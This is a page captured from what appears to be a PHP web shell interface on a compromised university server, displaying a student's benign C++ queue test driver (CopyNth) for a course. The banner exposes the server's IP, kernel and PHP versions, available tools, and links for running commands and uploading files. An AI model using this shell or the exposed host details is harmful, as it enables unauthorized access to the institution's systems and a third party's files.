Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.143.218.115
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/cjabbott/cs311/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cjabbott/cs311/queuecopynthclient.cpp
// Test Driver for Queue CopyNth as a client function

#include <iostream>
#include "queuearray.h"  // to test array implementation
//#include "queuell.h"     // to test using linked implementation
using namespace std;

//----------------------------------------------------------------------
// CopyNth shows copy of Nth item from top of queue, front being item #1
//----------------------------------------------------------------------
// Accepts:  reference to queue to look at
//           N - logical position of desired item
// Returns:  copy of item at Nth position from front
//----------------------------------------------------------------------

void CopyNth (QueueType<char>& aqueue, int N, char& copyitem)
{
    QueueType<char> tmpqueue;	    // temp queue
    char tch1;			    // temp char	
 
    for( int i = 0; i < N; i++)     // searches until Nth item is found
    {
        aqueue.Dequeue(tch1);       // copies and removes top item
	tmpqueue.Enqueue(tch1);     // puts the temp item in temp queue
    }

    copyitem = tch1;		    // copies the Nth item

    while(!aqueue.IsEmpty())	    // takes rest of items out of the 
				    // queue and puts them in temp queue	
    { 
        aqueue.Dequeue(tch1);
	tmpqueue.Enqueue(tch1);
    }
    
    while(!tmpqueue.IsEmpty())      // puts the items back in original 
				    // queue in beginning order
    {
        tmpqueue.Dequeue(tch1);
        aqueue.Enqueue(tch1);
    }
}
  
//--------------------------- Main function ----------------------------

int main ()
{

QueueType<char> chqueue;  // test queue

char copych;              // holds character viewed by CopyNth

// Enqueue some items

chqueue.Enqueue ('A');
chqueue.Enqueue ('B');
chqueue.Enqueue ('C');
chqueue.Enqueue ('D');
chqueue.Enqueue ('E');

// Do some CopyNth calls - queue has 5 values

cout << "\nTesting CopyNth for queue with 5 items";

CopyNth (chqueue, 5, copych);
cout << "\n\nThe 5th value should be E and it is " << copych;

CopyNth (chqueue, 1, copych);
cout << "\n\nThe 1st value should be A and it is " << copych;

CopyNth (chqueue, 3, copych);
cout << "\n\nThe 3rd value should be C and it is " << copych;

//  Dequeue 4 items, then Enqueue 3 more

chqueue.Dequeue (copych);
chqueue.Dequeue (copych);
chqueue.Dequeue (copych);
chqueue.Dequeue (copych);
chqueue.Enqueue ('F');
chqueue.Enqueue ('G');
chqueue.Enqueue ('H');

//  Do some CopyNth calls

CopyNth (chqueue, 4, copych);
cout << "\n\nThe 4th value should be H and it is " << copych;

CopyNth (chqueue, 3, copych);
cout << "\n\nThe 3rd value should be G and it is " << copych;

CopyNth (chqueue, 2, copych);
cout << "\n\nThe 2nd value should be F and it is " << copych;

CopyNth (chqueue, 1, copych);
cout << "\n\nThe 1st value should be E and it is " << copych;

chqueue.Dequeue (copych);
chqueue.Dequeue (copych);
chqueue.Dequeue (copych);
chqueue.Dequeue (copych);

// Queue should now be empty

if (chqueue.IsEmpty())
   cout << "\n\nQueue is empty, as it should be\n\n";
else
   cout << "\n\nQueue isn't empty, but should be - uh-oh!\n\n";

return 0;

}


Stv3n404 - 2023